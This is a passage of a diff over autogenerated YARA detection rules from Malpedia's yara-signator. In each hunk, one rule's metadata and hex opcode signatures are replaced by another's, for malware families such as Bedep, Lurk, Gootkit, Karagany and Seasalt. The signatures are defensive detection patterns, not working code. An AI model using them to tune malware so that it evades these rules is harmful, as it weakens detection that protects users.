-		$sequence_7 = { 8d7d81 885d80 f3ab 66ab aa 6a0f 33c0 }
-		$sequence_8 = { 8bec 81ec3c060000 53 56 be04010000 }
-		$sequence_9 = { 5e 5b c9 c20400 c605????????01 be00900100 6800040000 }
+		$sequence_0 = { 8b4508 c1e003 89c2 c1e206 01d0 05???????? 8d5004 }
+		$sequence_1 = { e8???????? c744240814000000 8d45dc 89442404 8b45f4 890424 }
+		$sequence_2 = { c744241cffffffff c74424188cd44000 c7442414ffffffff 8b4510 89442410 8b450c 8944240c }
+		$sequence_3 = { 837dfc00 75d7 b800000000 c9 c3 55 }
+		$sequence_4 = { 8b10 a1???????? 8b4d08 894c2408 89542404 890424 e8???????? }
+		$sequence_5 = { e8???????? 83f814 7706 837d1400 7f0a b8ffffffff }
+		$sequence_6 = { 837d0c00 750a b800000000 e9???????? 8b450c 8b4010 8945f0 }
+		$sequence_7 = { 89442404 8b45f0 890424 e8???????? c70424???????? e8???????? 8b45f4 }
+		$sequence_8 = { c704240a000000 e8???????? eb0a c745f401000000 eb08 90 c745f400000000 }
+		$sequence_9 = { 83ec04 89442404 8d85b4feffff 890424 e8???????? 8d85b4feffff 89442404 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <312320
 }
-rule MALPEDIA_Win_Keyboy_Auto : FILE
+rule MALPEDIA_Win_Bedep_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1db1fbfb-59c2-5bfb-976b-a0743f8a46eb"
+		id = "38514c33-d67a-59ce-9042-a62977e3ef09"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.keyboy_auto.yar#L1-L207"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bedep_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "c0d23ea688bcee5d6eecf54208ea66cac91415e69b2f38d43039891e2137c619"
+		logic_hash = "f62533daae7175b045e5c4c81adb2d2dce588f3fcc3da789cd782a4e3103423f"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -139891,44 +146853,32 @@ rule MALPEDIA_Win_Keyboy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 8945f2 8d45f8 50 6a0e }
-		$sequence_1 = { 51 ff75d8 6a00 ff75c0 }
-		$sequence_2 = { c705????????d468bcb5 c705????????2086e659 c705????????eec45abf c705????????bbee2bd1 c705????????3e20f129 }
-		$sequence_3 = { c705????????890e9944 c705????????dbd99823 c705????????d468bcb5 c705????????2086e659 }
-		$sequence_4 = { 5d c3 3b0d???????? f27502 f2c3 f2e953030000 55 }
-		$sequence_5 = { c705????????0caa6c89 c705????????a856701f c705????????597e743c c705????????0a9769e0 c705????????c4b85363 c705????????3abf261f c705????????890e9944 }
-		$sequence_6 = { 57 68cc020000 8d852cfdffff 8bf2 6a00 50 89b528fdffff }
-		$sequence_7 = { ff75dc ff15???????? 8d45dc 50 }
-		$sequence_8 = { e9???????? bbfeffffff eb05 bbfdffffff }
-		$sequence_9 = { 24a0 3ca0 7518 b800080000 }
-		$sequence_10 = { 6683f806 7404 32c9 eb02 b101 }
-		$sequence_11 = { c705????????34fbfb41 c705????????e6cd2b66 c705????????79e66d38 c705????????ba66ea37 c705????????1671e665 c705????????f3106cb3 c705????????526c1ed0 }
-		$sequence_12 = { e8???????? 85c0 755e 83ff20 }
-		$sequence_13 = { 2408 f6d8 1ac0 24dd }
-		$sequence_14 = { 41 84c0 75f0 8d55ec c745ec5c417070 }
-		$sequence_15 = { 7cd6 5f 5e 8be5 }
-		$sequence_16 = { ff15???????? 8b15???????? 8b4dc0 8945b8 e8???????? }
-		$sequence_17 = { 7207 b901000000 eb0f 3cfe }
-		$sequence_18 = { f7d9 85db 0f44c2 23c8 }
-		$sequence_19 = { 85d2 7e2a 8bce 81e107000080 }
-		$sequence_20 = { 3401 0fbec0 0fafc8 80f185 880c3e 46 }
-		$sequence_21 = { 1ac0 24dd 88474e e8???????? }
+		$sequence_0 = { 8b4dd4 c70020000000 c7400421020000 8bc6 881e c6460103 }
+		$sequence_1 = { 8b4608 e8???????? 85c0 7c19 6a20 8bc7 e8???????? }
+		$sequence_2 = { e8???????? 85c0 8945f4 7e3a 837df800 7463 8bcb }
+		$sequence_3 = { 33ff 89742418 8974241c 8b542418 56 ff742420 8d4c2430 }
+		$sequence_4 = { 7d09 56 e8???????? 59 eb05 8b450c 8930 }
+		$sequence_5 = { 397338 89442428 0f85bb000000 6a7c 8d8424a4000000 56 50 }
+		$sequence_6 = { 75e2 b001 5e c20400 55 8bec 83e4f8 }
+		$sequence_7 = { 56 90 e8???????? 832000 6a04 ff750c 33c9 }
+		$sequence_8 = { 8d4568 50 ff7570 90 e8???????? 894570 64a118000000 }
+		$sequence_9 = { ff751c 83cb02 ff7520 53 ff7514 50 8d45f4 }
 
 	condition:
-		7 of them and filesize <2170880
+		7 of them and filesize <557056
 }
-rule MALPEDIA_Win_Longwatch_Auto : FILE
+rule MALPEDIA_Win_Ruckguv_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9cbc3845-247e-5088-802c-974faf2556c3"
+		id = "70c59136-1542-5cb3-8c7d-52dba7e0bc40"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.longwatch_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ruckguv_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "f16a1609422dbff4c114599f67e44a3d80148789c090def0703b76643a40482b"
+		logic_hash = "a64635c0a8f169255c2ded62c13acd231a3b9a4460e9b10acd2e149c6348dd85"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139942,32 +146892,32 @@ rule MALPEDIA_Win_Longwatch_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? e8???????? 83c404 833d????????ff 7546 6a00 }
-		$sequence_1 = { 8bec 53 8b5d08 33c9 57 33c0 8d3c9d2c074300 }
-		$sequence_2 = { 0f8cf8030000 68a1000000 ff15???????? 6683f888 0f8ce3030000 8d46fe }
-		$sequence_3 = { eb29 8b55d4 8a07 8b0c95a00b4300 }
-		$sequence_4 = { 53 8b5d08 33c9 57 33c0 8d3c9d2c074300 f00fb10f }
-		$sequence_5 = { 6bc618 57 8db874074300 57 }
-		$sequence_6 = { 8ad3 b9???????? e8???????? 837d9400 8db548ffffff }
-		$sequence_7 = { e8???????? ff7364 33c9 8d7b18 84c0 0f44f9 }
-		$sequence_8 = { 56 68a0000000 8bf1 ff15???????? }
-		$sequence_9 = { c74634d46e4200 6a00 57 8bce e8???????? }
+		$sequence_0 = { 7403 51 eb04 0fb7c0 50 ff7508 }
+		$sequence_1 = { 56 53 e8???????? 8b463c 68f8000000 }
+		$sequence_2 = { ff75fc 8d85b0f7ffff 50 ff75f4 }
+		$sequence_3 = { 59 894508 85c0 750f 8b470c }
+		$sequence_4 = { 85c0 0f848b000000 57 8d3c18 8b470c 85c0 }
+		$sequence_5 = { 8a0a 84c9 75f1 c3 682680acc8 }
+		$sequence_6 = { 83c0c0 50 8d4640 50 8d4340 }
+		$sequence_7 = { 68dff0f081 6a01 e8???????? 83c40c 8d8d9cfdffff 51 ffd0 }
+		$sequence_8 = { 6880000000 6a03 56 56 53 }
+		$sequence_9 = { 59 59 ff742404 ffd0 c3 6831f478b7 }
 
 	condition:
-		7 of them and filesize <647168
+		7 of them and filesize <41024
 }
-rule MALPEDIA_Win_Snatchcrypto_Auto : FILE
+rule MALPEDIA_Win_Lurk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8e680a41-0fdc-5ac7-bc9f-3f795f28f0bb"
+		id = "67fdecf6-fece-5b5e-aa84-6821eaa887bc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snatchcrypto_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lurk_auto.yar#L1-L180"
 		license_url = "N/A"
-		logic_hash = "276b735298fc8584b98457d3cb267661e785fa3122c696ae64ba4741a5859a9d"
+		logic_hash = "1d68cad8f119a971efeb0a8c788b3983d9ce03607f838f5c4c4d29840d917af1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139981,34 +146931,40 @@ rule MALPEDIA_Win_Snatchcrypto_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7528 488bd3 488bcf e8???????? 448b87a8020000 488d15d43f0200 448906 }
-		$sequence_1 = { 4c8d442430 e8???????? 85c0 0f8533010000 8d7058 8d6814 eb36 }
-		$sequence_2 = { ff15???????? 488bf8 4885c0 750f ff15???????? 488d15f7730200 eb27 }
-		$sequence_3 = { 0fb74348 ff4320 448b4b20 ffc0 488d1586a70200 440fb7c0 e8???????? }
-		$sequence_4 = { 48894598 4889442458 4889442460 0fb6474d 41c1e608 440bf0 0fb6474e }
-		$sequence_5 = { 440fb64c3580 4c8d05a73f0100 ba03000000 488bcf e8???????? 48ffc6 4883c702 }
-		$sequence_6 = { 4883ec38 ffca 744c 81faff1f0000 754b 33c0 4c8905???????? }
-		$sequence_7 = { e8???????? 8bf8 85c0 7907 b8c0feffff eb3f 0fb78394030000 }
-		$sequence_8 = { 83c702 3ac1 760a b8bafeffff e9???????? 7368 0fb78b94030000 }
-		$sequence_9 = { 488d15e98d0200 498bce 4c8bc0 e8???????? 8d7e3e 448be3 e9???????? }
+		$sequence_0 = { ff7508 ff15???????? 8b35???????? 50 ff7508 }
+		$sequence_1 = { 8b4508 5b 5f 5e c9 c3 55 }
+		$sequence_2 = { 8b4d08 8b5110 83c201 8b4508 895010 8b4dac 51 }
+		$sequence_3 = { f3a5 66a5 33db 395d08 }
+		$sequence_4 = { 72cc 33c9 8bc1 99 6a0b 5f f7ff }
+		$sequence_5 = { c1ee03 33ce eb0e c1e60b 33ce 8bf0 c1ee05 }
+		$sequence_6 = { 59 3bc7 7534 0fbe4203 }
+		$sequence_7 = { 8b3d???????? 33f6 bb24080000 53 6a40 8975ec }
+		$sequence_8 = { ff750c 83ceff ff7508 ff7510 e8???????? 83c418 85c0 }
+		$sequence_9 = { ff750c 57 ff15???????? 85c0 7411 395dfc 750c }
+		$sequence_10 = { 68???????? 8d85ecfeffff 50 ff15???????? 8d85ecfeffff 50 }
+		$sequence_11 = { ebf8 56 8bf0 33c0 85d2 8bca 740c }
+		$sequence_12 = { 8945fc 8b4d10 8b91a4000000 8955f8 837df800 7661 }
+		$sequence_13 = { c9 c3 55 8bec 81ec08010000 6a35 6a40 }
+		$sequence_14 = { 744d 56 8d4508 50 }
+		$sequence_15 = { 83f866 7567 3bf0 7563 0fbe4205 50 e8???????? }
 
 	condition:
-		7 of them and filesize <1400832
+		7 of them and filesize <5316608
 }
-rule MALPEDIA_Win_Deltas_Auto : FILE
+rule MALPEDIA_Win_Gootkit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7da5df4e-29e3-54c4-9a20-6a6e85d7900e"
+		id = "50659808-58ce-5271-8f0d-8034418275c7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deltas_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gootkit_auto.yar#L1-L327"
 		license_url = "N/A"
-		logic_hash = "dd0f3991acf6e3d198b5d6cf834071e4c8ad802b2fea2e9cf5d21d8d4fb219f6"
+		logic_hash = "a2cf121428fb2173dc07901e77686f48303de5dc8bfa584df38195e7a090200e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -140020,32 +146976,58 @@ rule MALPEDIA_Win_Deltas_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d542434 898424d8000000 52 ffd6 898424d0000000 8d442458 50 }
-		$sequence_1 = { b22e b06c 51 c644240c77 c644240d73 c644240f5f c644241033 }
-		$sequence_2 = { c684241002000000 f3ab 66ab aa 8d442408 6804010000 50 }
-		$sequence_3 = { 8d742438 8dbc24f4000000 33c0 f3a5 b908000000 8d7c2418 }
-		$sequence_4 = { 68???????? 68???????? 50 ffd7 8d8c241c020000 6804010000 8d94241c010000 }
-		$sequence_5 = { 57 33f6 b922000000 33c0 }
-		$sequence_6 = { 52 ffd6 898424e0000000 8d442440 50 ffd6 }
-		$sequence_7 = { 894c242d 56 66894c2435 33f6 89442420 884c2437 57 }
-		$sequence_8 = { 0bc1 33c7 0344242c 8d8410442229f4 8bd0 c1e006 c1ea1a }
-		$sequence_9 = { c644245400 c684245801000000 f3ab 66ab }
+		$sequence_0 = { 6a04 6800300000 57 6a00 897df8 }
+		$sequence_1 = { 50 ff75fc ffd7 33c9 c745f804000000 41 33f6 }
+		$sequence_2 = { 8945f0 85c0 7435 8b01 ff75f4 03c3 }
+		$sequence_3 = { e8???????? 8bd8 85db 0f45f3 33c0 50 }
+		$sequence_4 = { 83feff 7509 57 ff15???????? 8bf0 53 }
+		$sequence_5 = { 895de8 2bf1 75d5 8b5df0 8b5508 51 }
+		$sequence_6 = { 6a00 53 ff15???????? eb06 8b7dd8 }
+		$sequence_7 = { 8bd6 e8???????? 8b7dfc 59 59 85c0 }
+		$sequence_8 = { f3aa 68???????? ff15???????? 50 }
+		$sequence_9 = { 8b7df4 32c0 8b4de4 f3aa }
+		$sequence_10 = { 50 e8???????? 83c40c 68fd000000 }
+		$sequence_11 = { 50 68???????? ff15???????? 85c0 7505 e8???????? }
+		$sequence_12 = { 50 8b4508 8b00 99 }
+		$sequence_13 = { c705????????01000000 c705????????02000000 8be5 5d c3 }
+		$sequence_14 = { 833d????????00 750a 6a32 ff15???????? }
+		$sequence_15 = { 6808020000 6a00 ff15???????? 50 }
+		$sequence_16 = { e8???????? 6a0c 6a08 ff15???????? 50 ff15???????? }
+		$sequence_17 = { 50 6a02 ff15???????? 6888130000 }
+		$sequence_18 = { e8???????? 8d45fc 50 6a01 6a01 }
+		$sequence_19 = { e8???????? 85c0 750c c705????????03000000 }
+		$sequence_20 = { 8b4508 8b00 99 52 50 6a00 }
+		$sequence_21 = { 68???????? 51 51 ff15???????? 50 }
+		$sequence_22 = { 53 53 53 8901 }
+		$sequence_23 = { 83faff 7508 ff15???????? 8bd0 }
+		$sequence_24 = { e8???????? 3935???????? 7412 83ec0c ba???????? b9???????? }
+		$sequence_25 = { 6a40 6a00 8bf7 57 81e60000ffff e8???????? 8b4608 }
+		$sequence_26 = { ff15???????? a3???????? 391d???????? 7428 85c0 }
+		$sequence_27 = { 8d4204 3bc8 7344 2bca 898de4fdffff 034e0c }
+		$sequence_28 = { ff15???????? 85c0 7510 8d4864 }
+		$sequence_29 = { 0f114710 0f104030 0f114f20 0f104840 0f114730 0f104050 }
+		$sequence_30 = { 85c0 7550 ff15???????? 8bf8 893d???????? }
+		$sequence_31 = { 6a1c 50 56 ff15???????? 8b4de8 }
+		$sequence_32 = { 0f104010 0f110f 0f104820 0f114710 }
+		$sequence_33 = { 0f114f50 0f104060 0f114760 8b4070 894770 be01000000 }
+		$sequence_34 = { 8d4864 ff15???????? ffc3 83fb0a 7cd5 }
+		$sequence_35 = { 0f104050 0f114f40 0f104860 0f114750 0f114f60 b801000000 }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <516096
 }
-rule MALPEDIA_Win_Zeus_Sphinx_Auto : FILE
+rule MALPEDIA_Win_Karagany_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4c9695e3-d96e-5f67-a0c2-424bcf596515"
+		id = "edc2e98f-b8d5-5230-8689-3d1d2cb2218e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_sphinx_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.karagany_auto.yar#L1-L110"
 		license_url = "N/A"
-		logic_hash = "c474cca5e98993ccd970de7e5648248c620e9abab23dec872f161292bb6b1fb0"
+		logic_hash = "52de418a32cc53d0482440cda283dab56320888d4a5fd4c0281ba321f99401f6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140059,38 +147041,32 @@ rule MALPEDIA_Win_Zeus_Sphinx_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 891c24 89c6 e8???????? 83c410 8d65f4 }
-		$sequence_1 = { 50 e8???????? 83c414 68???????? e8???????? c70424???????? }
-		$sequence_2 = { 50 e8???????? 83c410 c74604ffffffff 897508 }
-		$sequence_3 = { 50 e8???????? 83c430 85c0 7e0c }
-		$sequence_4 = { 52 52 8b6c2444 55 50 e8???????? 8944245c }
-		$sequence_5 = { 50 e8???????? 84c0 745f 8d442414 }
-		$sequence_6 = { 50 e8???????? 83c420 48 }
-		$sequence_7 = { 50 e8???????? 83c418 68???????? 68???????? }
-		$sequence_8 = { 01fc eb98 035e14 8ade }
-		$sequence_9 = { 010c02 3bf7 0f85f0f50000 e9???????? }
-		$sequence_10 = { 003b c09bdbe23ea11c 695600663ec700 de07 }
-		$sequence_11 = { 0303 50 ff550c 8b3e }
-		$sequence_12 = { 010d???????? 60 5a 98 }
-		$sequence_13 = { 020a 42 1af6 af }
-		$sequence_14 = { 0162c9 cf 0c06 3c3e }
-		$sequence_15 = { 0008 d7 9f b2d3 }
+		$sequence_0 = { 8d85a4fdffff 50 ffd6 68???????? }
+		$sequence_1 = { 894ddc 894de4 894df0 894df8 894dfc }
+		$sequence_2 = { 57 8bf8 6a03 57 ffd6 }
+		$sequence_3 = { 57 8bf8 6a03 57 }
+		$sequence_4 = { 6800300000 6800000300 6a00 ff15???????? }
+		$sequence_5 = { 8bf8 6a03 57 ffd6 85c0 }
+		$sequence_6 = { 8b35???????? 57 8bf8 6a03 }
+		$sequence_7 = { 6a40 6800300000 6800000300 6a00 ff15???????? }
+		$sequence_8 = { 6a03 53 ffd6 85c0 }
+		$sequence_9 = { 57 8bf8 6a03 57 ffd6 85c0 }
 
 	condition:
-		7 of them and filesize <3268608
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Nachocheese_Auto : FILE
+rule MALPEDIA_Win_New_Ct_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eaa2162c-aba5-5a56-92b8-2694c1a819b5"
+		id = "d2add3a1-140a-5bb8-b61a-9a3c6a02e7fc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nachocheese_auto.yar#L1-L162"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.new_ct_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "65398c7b0a5280da9a71f8939ca7f529421377deec37e9f371d0deba7b01dc67"
+		logic_hash = "d5abc4cf0e59662bf031f834b2da1a42e3067fae0164acdda49916fdb832ef21"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140104,38 +147080,32 @@ rule MALPEDIA_Win_Nachocheese_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3d9c000000 7c07 3d9f000000 7e0d 33c0 c3 05d13fffff }
-		$sequence_1 = { 33f6 397508 0f8ec9000000 b8???????? 48 }
-		$sequence_2 = { 2bfa 8d47fd 3901 8901 }
-		$sequence_3 = { 02ca 880c3e 8a5005 32d1 8b4dfc 88143e 8a4c0105 }
-		$sequence_4 = { 7305 83c303 eb1c 81fb00000100 }
-		$sequence_5 = { 33c8 894710 8b4708 33c1 }
-		$sequence_6 = { 7305 83c304 eb0f 81fb00000001 }
-		$sequence_7 = { 7305 83c302 eb29 81fb00010000 }
-		$sequence_8 = { 0f8539ffffff b8???????? 8d5001 8a08 }
-		$sequence_9 = { 3d2cc00000 7f18 3d2bc00000 7d1b 3d9c000000 }
-		$sequence_10 = { 763a b801011000 f7e6 8bc6 2bc2 d1e8 }
-		$sequence_11 = { 0f84bf000000 6803010000 8895f0fcffff 8d95f1fcffff 6a00 52 e8???????? }
-		$sequence_12 = { 50 e8???????? 8d8f0e010000 8bc1 83c430 8d5001 }
-		$sequence_13 = { 02ca 8b55f4 880c3e 0fb6540205 }
-		$sequence_14 = { 50 e8???????? b9???????? 83c424 }
-		$sequence_15 = { 50 6a02 51 ff15???????? 83f801 }
+		$sequence_0 = { 894304 7532 8bfe 83c9ff 33c0 f2ae f7d1 }
+		$sequence_1 = { 7472 3c42 746e 33c0 }
+		$sequence_2 = { 81ec00040000 53 56 6888030000 33db }
+		$sequence_3 = { 7605 b800000100 8b742418 03c7 8d8c24bc070000 8d44301c }
+		$sequence_4 = { c644240537 c644240679 c6442407b9 7627 }
+		$sequence_5 = { 8bcd 8933 2bce c6043e00 49 33c0 }
+		$sequence_6 = { 50 6a00 6a00 68???????? 6a00 68???????? ff15???????? }
+		$sequence_7 = { 33c0 8dbc24bd070000 c68424bc07000000 c68424bc0f000000 f3ab 66ab aa }
+		$sequence_8 = { 740d 8d942414020000 52 ffd0 83c404 5f 5e }
+		$sequence_9 = { 8bbc245c040000 c1e902 f3a5 8bc8 83e103 f3a4 }
 
 	condition:
-		7 of them and filesize <1064960
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Dented_Auto : FILE
+rule MALPEDIA_Win_Htprat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "484f6875-8da3-59df-9796-ec6e3c5f3480"
+		id = "67b2e8d9-4f49-5cf6-8afe-0a9a5bcb5d69"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dented"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dented_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.htprat_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "e9882555c27a882adee62a69216aa411600cf976159b592ea9f38f19d9990be3"
+		logic_hash = "15d5d8ea42e22569434bb0dbf96f0b13036ea7676d82ad93d8f718afb8dd6a66"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140149,32 +147119,32 @@ rule MALPEDIA_Win_Dented_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf1 e8???????? 83c40c 89bd60ffffff 8d8560ffffff 50 ff15???????? }
-		$sequence_1 = { 50 51 ebc7 6a0f 33db 5f 897df4 }
-		$sequence_2 = { ffd6 ff75fc ffd6 6a00 6a01 8d4d08 e8???????? }
-		$sequence_3 = { ff15???????? 3d0e000780 7422 3d08000c80 741b }
-		$sequence_4 = { 8985c4fcffff 8d85f4fdffff 6a40 8985c8fcffff 8d85b4fcffff 5e 50 }
-		$sequence_5 = { 8d4dc0 e8???????? 385dc4 7508 6a04 }
-		$sequence_6 = { 6a40 5f 57 8d45b8 }
-		$sequence_7 = { 8b85f8f7ffff 8a8485fcfbffff 32c1 880416 8b8decf7ffff }
-		$sequence_8 = { 48 0d00ffffff 40 8a0a 8985f8f7ffff 8bbdf8f7ffff 0fb6c1 }
-		$sequence_9 = { 8b4a38 3b08 6a0f 0f4208 33db 8b4210 }
+		$sequence_0 = { 8b8568efffff 03c6 3b8558efffff 7667 8b8394000000 898560efffff 8b8558efffff }
+		$sequence_1 = { 8bc7 897dcc e8???????? 8b5dc8 3b5f04 740e }
+		$sequence_2 = { 8d4c2418 c68424e800000003 e8???????? 8b00 3bc3 7504 32db }
+		$sequence_3 = { 33d2 f3a6 6aff 58 7404 1bd2 1bd0 }
+		$sequence_4 = { 46 56 8d8d00ffffff e8???????? 53 56 }
+		$sequence_5 = { 85c0 750c e8???????? a3???????? eb13 53 }
+		$sequence_6 = { 8b00 8d8d38efffff 51 8d8d08efffff 51 50 ff33 }
+		$sequence_7 = { 894584 99 f77d8c 8b4590 8a0402 8b5594 }
+		$sequence_8 = { 83c604 3b7734 75ec eb31 83f805 }
+		$sequence_9 = { 8d410c 8bcb e8???????? 84c0 0f84d2000000 8b5d0c }
 
 	condition:
-		7 of them and filesize <450560
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Xfsadm_Auto : FILE
+rule MALPEDIA_Win_Seasalt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6a0bbf1b-24f1-56ab-8ac3-dbd47808408e"
+		id = "e41fdf89-eed2-569c-87d1-66ae3f31eb44"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xfsadm_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.seasalt_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "b3759828684909f4ce479e79726b48d5eca09cda3ca207a8e06b6b8b2444949c"
+		logic_hash = "c4e00a9b356da4bb38f74ae93a3974f0cb2a6403defdfa59feac8c8b4bbe886d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140188,71 +147158,71 @@ rule MALPEDIA_Win_Xfsadm_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c40c 85c0 0f8431010000 81ff???????? 0f849f000000 6a01 68???????? }
-		$sequence_1 = { 50 ff15???????? ffb534fdffff 8bf0 ff15???????? 0fb60d???????? 33c0 }
-		$sequence_2 = { 8b7e38 85ff 0f8576010000 53 68f80f0000 e8???????? }
-		$sequence_3 = { 85c9 7455 83c60c 3bf1 744e }
-		$sequence_4 = { 8b4008 8a0406 3c3d 745e }
-		$sequence_5 = { 83fa02 7211 8b4dfc 8a06 46 8b0c8df8d84200 88440f2b }
-		$sequence_6 = { 5b 8be5 5d c20800 3c2f 751c }
-		$sequence_7 = { 2d10010000 741d 83e801 7521 0fb74510 83f801 }
-		$sequence_8 = { 8d460c 83c410 3bc8 7409 51 e8???????? 83c404 }
-		$sequence_9 = { 50 e8???????? 8b4e08 8d460c 83c410 3bc8 }
+		$sequence_0 = { 888800d90010 eb1f 83f861 7213 }
+		$sequence_1 = { a3???????? 3bc6 7513 68e0930400 ff15???????? 8975fc }
+		$sequence_2 = { 83d8ff 3bc3 758c b901040000 33c0 }
+		$sequence_3 = { f2ae a1???????? 68???????? f7d1 }
+		$sequence_4 = { 8b8c2454010000 6a00 8d442428 6800010000 50 }
+		$sequence_5 = { 6aff 50 ff15???????? 85c0 6a00 }
+		$sequence_6 = { 8bf7 c1e902 8bfa 8d942488010000 f3a5 }
+		$sequence_7 = { 7ced 55 8bac2418020000 6a00 8d442414 6804020000 50 }
+		$sequence_8 = { 8dbc2419020000 c684241802000000 f3ab 66ab 6a00 }
+		$sequence_9 = { c1e902 83e203 83f908 7229 f3a5 ff2495c8350010 8bc7 }
 
 	condition:
-		7 of them and filesize <566272
+		7 of them and filesize <139264
 }
